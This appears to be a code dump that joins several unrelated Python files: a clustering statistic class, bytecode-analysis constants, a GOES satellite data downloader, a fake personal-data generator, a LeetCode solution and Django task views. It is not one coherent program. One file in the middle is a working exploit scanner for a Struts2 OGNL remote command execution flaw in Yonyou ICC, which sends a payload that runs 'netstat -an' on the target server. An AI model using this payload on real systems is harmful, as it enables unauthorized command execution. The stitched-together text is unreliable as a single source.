            self.x_random = array(random_points)
        distances, indices = self.tree.query(self.x_random, k=1)
        return sum([x**2 for x in distances[:,0]])

    def _hopkins_statistic(self):
        s_dist_squared = self._squared_s_distances()
        r_dist_squared = self._squared_r_distances()
        print(s_dist_squared, r_dist_squared)
        return r_dist_squared/s_dist_squared

    def H_statistic(self) -> float:
        return self.H

    def critical_values(self, significance=0.05) -> tuple:
        a = significance/2
        dist = f(2*self.N, 2*self.N)
        return (dist.ppf(a), dist.ppf(1-a))


import imp
import inspect
import byteplay
from blessings import Terminal
###
module_types = {
    imp.PY_SOURCE: 'source',
    imp.PY_COMPILED: 'compiled',
    imp.C_EXTENSION: 'extension',
    imp.PY_RESOURCE: 'resource',
    imp.PKG_DIRECTORY: 'pkg_path',
}
inspect_types = {
    'class': inspect.isclass,
    'function': inspect.isfunction,
#    'generator_fn': inspect.isgeneratorfunction,
#    'method': inspect.ismethod,
#    'builtin': inspect.isbuiltin,
#    'routine': inspect.isroutine,
#    'module': inspect.ismodule,
#    'abstract': inspect.isabstract,
#    'frame': inspect.isframe,
#    'code': inspect.iscode,
#    'generator': inspect.isgenerator,
#    'tb': inspect.istraceback,
#    'data_descriptor': inspect.isdatadescriptor,
#    'method_descriptor': inspect.ismethoddescriptor,
#    'getset_descriptor': inspect.isgetsetdescriptor,
#    'member_descriptor': inspect.ismemberdescriptor,
}
###
reserved_stores = [
    byteplay.STORE_ATTR,
    byteplay.STORE_FAST,
    byteplay.STORE_MAP,
    byteplay.STORE_SLICE_0,
    byteplay.STORE_SLICE_1,
    byteplay.STORE_SLICE_2,
    byteplay.STORE_SLICE_3,
    byteplay.STORE_SUBSCR,
    byteplay.STORE_DEREF,
    byteplay.STORE_GLOBAL,
    byteplay.STORE_NAME,
]
LOAD_SLICE  = 'LOAD_SLICE'
LOAD_OBJ_FN = 'LOAD_OBJ_FN'
LOAD_LIST   = 'LOAD_LIST'
reserved_loads = [
    byteplay.LOAD_ATTR,
    byteplay.LOAD_CLOSURE,
    byteplay.LOAD_CONST,
    byteplay.LOAD_DEREF,
    byteplay.LOAD_FAST,
    byteplay.LOAD_GLOBAL,
    byteplay.LOAD_LOCALS,
    byteplay.LOAD_NAME,
    LOAD_SLICE, # custom
    LOAD_OBJ_FN,
    LOAD_LIST,
]
reserved_binary = [
     byteplay.BINARY_POWER,
     byteplay.BINARY_MULTIPLY,
     byteplay.BINARY_DIVIDE,
     byteplay.BINARY_MODULO,
     byteplay.BINARY_ADD,
     byteplay.BINARY_SUBTRACT,
     byteplay.BINARY_SUBSCR,
     byteplay.BINARY_FLOOR_DIVIDE,
     byteplay.BINARY_TRUE_DIVIDE,
     byteplay.BINARY_LSHIFT,
     byteplay.BINARY_RSHIFT,
     byteplay.BINARY_AND,
     byteplay.BINARY_XOR,
     byteplay.BINARY_OR,
]
reserved_slices = {
    byteplay.SLICE_0: 0,
    byteplay.SLICE_1: 1,
    byteplay.SLICE_2: 1,
    byteplay.SLICE_3: 2,
    byteplay.BUILD_SLICE: None,
}
###
reserved_rel = [
    byteplay.FOR_ITER,
    byteplay.JUMP_FORWARD,
    byteplay.SETUP_LOOP,
    byteplay.SETUP_EXCEPT,
    byteplay.SETUP_FINALLY,
    byteplay.SETUP_WITH,
]
reserved_abs = [
    byteplay.JUMP_IF_FALSE_OR_POP,
    byteplay.JUMP_IF_TRUE_OR_POP,
    byteplay.JUMP_ABSOLUTE,
    byteplay.POP_JUMP_IF_FALSE,
    byteplay.POP_JUMP_IF_TRUE,
    byteplay.CONTINUE_LOOP,
]
reserved_loads = [
    byteplay.LOAD_ATTR,
    byteplay.LOAD_CLOSURE,
    byteplay.LOAD_CONST,
    byteplay.LOAD_DEREF,
    byteplay.LOAD_FAST,
    byteplay.LOAD_GLOBAL,
    byteplay.LOAD_LOCALS,
    byteplay.LOAD_NAME,
]
reserved_try = [
    byteplay.POP_BLOCK,
]
###
graph_node_colors = {
    'PINK':         "#EE82EE",
    'LIGHT_BLUE':   "#87CEFA",
    'GREEN':        "#00FF7F",
    'ORANGE':       "#F4A460",
}
class ClassType: OLD, NEW = range(2)
MAX_ITERATIONS = 2**10
def f_noarg(): return                   # Mock parameters
def f_varg(*args, **kwargs): return
PARAM_VALUE_SEQ = [ None, 0, 0.0, '', (), [], {}, f_noarg, f_varg ]
PRIMITIVE_TYPES \
    = (int, float, long, complex, basestring, bool, tuple, list, dict)
is_primitive = lambda var: isinstance(var, PRIMITIVE_TYPES)

op_arithmetic = ['+','-','*','/','%','**','//']
op_cmp = ['==','!=','<>','>','<','>=','<=']
op_assign = ['=','+=','-=','*=','/=','%=','**=','//=']
op_bitwise = ['&','|','^','~','<<','>>']
op_membership = ['in','not in']
op_id = ['is','is not']


# -*- coding: utf-8 -*-

__author__ = 'Douglas Uba'
__email__  = 'douglas.uba@inpe.br'

import goes, goes.utils
from itertools import chain
import os
import s3fs

def download(bucket, products, start, end, hours, channels, output, progress=None):
    # Connection with S3 GOES AWS file system
    fs = s3fs.S3FileSystem(anon=True)

    # Build list of days
    days = goes.utils.generateListOfDays(start, end)

    # Searching for files
    files = []
    for product in products:
        if bucket not in product:
            product = bucket + product
        hasChannels = goes.utils.isChannelSeparated(product)
        for day in days:
            for hour in hours:
                if not hasChannels:
                    # search files by day/hour: <product/YYYY/J/HH/*>
                    query = ('{}/{}/{}/{}/*'.format(product,
                        day.strftime('%Y'), day.strftime('%j'), hour)
                    )
                    files.append(fs.glob(query))
                else:
                    for channel in channels:
                        # search files by day/hour/channel: <product/YYYY/J/HH/*>
                        query = ('{}/{}/{}/{}/*C{}*'.format(product,
                            day.strftime('%Y'), day.strftime('%j'), hour, channel)
                        )
                        files.append(fs.glob(query))

    # Progress notifier
    notifier = goes.utils.Notifier()

    if progress:
        notifier.startDownloadTask.connect(progress.onStartDownloadTask)
        notifier.startFileDownload.connect(progress.onStartFileDownload)
        notifier.endFileDownload.connect(progress.onEndFileDownload)
        notifier.endDownloadTask.connect(progress.onEndDownloadTask)

    # Flat list of files
    files = list(chain.from_iterable(files))

    # Communicate number of files
    notifier.startDownloadTask.emit(len(files))

    # Download each file
    for f in files:
        if progress and progress.wasCanceled():
            break
        notifier.startFileDownload.emit(f)
        # Build local file path
        local = os.path.join(output, f)
        if os.path.exists(local):
            notifier.endFileDownload.emit(local)
            continue

        # Create local directory, if necessary
        os.makedirs(os.path.dirname(local), exist_ok=True)

        # Download file!
        fs.get(f, local)

        # Notify
        notifier.endFileDownload.emit(local)

    notifier.endDownloadTask.emit()


from faker import Faker
from datetime import datetime
import csv,  pandas, os
import json

fake = Faker(['es_ES'])
total= 2000  #1000000
time_file = datetime.now().strftime("%Y-%m-%d-%H-%M-%S")
destinationcsv="db-"+ str(time_file)+"-tot"+(str(total))+ ".csv"
destinationjson="db-"+ str(time_file)+"-tot"+(str(total))+ ".json"
def create_csv(total):
    data = []
    count = 0
    for _ in range(total):
        count +=1
        name = fake.name()
        address = fake.street_address()
        color = fake.color()
        phone = fake.phone_number()
        nif = fake.doi()
        ssn = fake.ssn()
        cp = "cp: " + fake.postcode()
        count_bank = "count_bank: " + fake.iban()
        data = [
                count,
                name ,
                nif,
                address,
                cp,
                color,
                phone,
                ssn,
                count_bank
                ]
        wr = csv.writer(f, quoting=csv.QUOTE_ALL)
        wr.writerow(data)
        print(data)

try:
    with open(destinationcsv,"w", encoding='UTF-8', newline='') as f:
        create_csv(total)
    print('Se ha creado el archivo: ' + destinationcsv )
finally:
    print("DONE")


#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: 用友ICC struts2远程命令执行
referer: http://www.wooyun.org/bugs/wooyun-2010-023876
author: Lucifer
description: 用友ICC系统存在struts2框架漏洞。
'''
import urllib
import requests

def UrlProcessing(url):
    if url.startswith("http"):#判断是否有http头，如果没有就在下面加入
        res = urllib.parse.urlparse(url)
    else:
        res = urllib.parse.urlparse('http://%s' % url)
    return res.scheme, res.hostname, res.port

payload = "?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
urls=["/web/icc/chat/chat?c=1&s=1","/web/common/doUpload.action"]
def medusa(Url,RandomAgent,ProxyIp):

    scheme, url, port = UrlProcessing(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    global resp
    global resp2
    Medusas=[]
    try:
        for turl in urls:
            payload_url = scheme+"://"+url+turl+payload
            headers = {
                'Accept-Encoding': 'gzip, deflate',
                'Accept': '*/*',
                'User-Agent': RandomAgent,
            }
            #s = requests.session()
            if ProxyIp!=None:
                proxies = {
                    # "http": "http://" + str(ProxyIps) , # 使用代理前面一定要加http://或者https://
                    "http": "http://" + str(ProxyIp)
                }
                resp = requests.get(payload_url, headers=headers, proxies=proxies, timeout=5, verify=False)
            elif ProxyIp==None:
                resp = requests.get(payload_url,headers=headers, timeout=5, verify=False)
            con = resp.text
            code = resp.status_code
            if  con.lower().find('active internet connections')!=-1:
                Medusa = "{} 存在用友ICC struts2远程命令执行 漏洞\r\n漏洞详情:\r\nPayload:{}\r\n".format(url, payload_url)
                Medusas.append(str(Medusa))
    except Exception as e:
        pass
    return Medusas


# -*- coding: utf-8 -*-

"""
@Author: xiezizhe
@Date: 23/6/2020 上午11:51
"""

from typing import List

class Solution:
    def maxProduct(self, nums: List[int]) -> int:
        if not nums:
            return 0

        ret = nums[0]

        sums = [1]

        for n in nums:

            if n == 0:
                sums = [1]
                ret = max(ret, 0)
            else:
                for i in range(len(sums)):
                    sums[i] *= n
                    ret = max(ret, sums[i], n)

            if n < 0:
                if len(sums) >= 4:
                    sums = [max(sums), min(sums), 1]
                else:
                    sums.append(1)

        return ret


from django.views.generic import CreateView, UpdateView, DeleteView
from django.views.generic.detail import DetailView
from django.contrib import messages
from django.shortcuts import redirect
from django_filters.views import FilterView
from .filters import TaskFilter
from django.utils.translation import gettext_lazy as _
from task_manager.mixins import TasksMixin

class TasksListView(TasksMixin, FilterView):
    context_object_name = 'tasks'
    template_name = 'tasks/tasks.html'
    filterset_class = TaskFilter
    extra_context = {'title': _('Tasks'), 'button': _('Show')}

class TaskCreateView(TasksMixin, CreateView):
    template_name = 'form.html'
    success_message = _("Task created successfully")
    extra_context = {'title': _('Create task'), 'button': _('Create')}

    def form_valid(self, form):
        form.instance.author = self.request.user
        return super().form_valid(form)

class TaskDetailView(TasksMixin, DetailView):
    context_object_name = 'task'
    template_name = 'tasks/tasks_show.html'
    extra_context = {'title': _('Show task')}

class TaskUpdateView(TasksMixin, UpdateView):
    template_name = 'form.html'
    extra_context = {'title': _('Update task'), 'button': _('Change')}
    success_message = _('Task successfully changed')

class TaskDeleteView(TasksMixin, DeleteView):
    template_name = 'delete_form.html'
    success_message = _('Task successfully deleted')
    extra_context = {'title': _('Delete task'), 'button': _('Yes, delete')}

    def has_permission(self) -> bool:
        return self.get_object().author.pk == self.request.user.pk

    def dispatch(self, request, *args, **kwargs):
        if not request.user.is_authenticated:
            messages.error(
                self.request,
                _("Error! You are not authenticated")
            )
            return self.handle_no_permission()

        elif not self.has_permission():
            messages.error(
                request,
                _("Error! You can't delete this task. Only author")
            )
            return redirect('home_tasks')
        return super().dispatch(request, *args, **kwargs)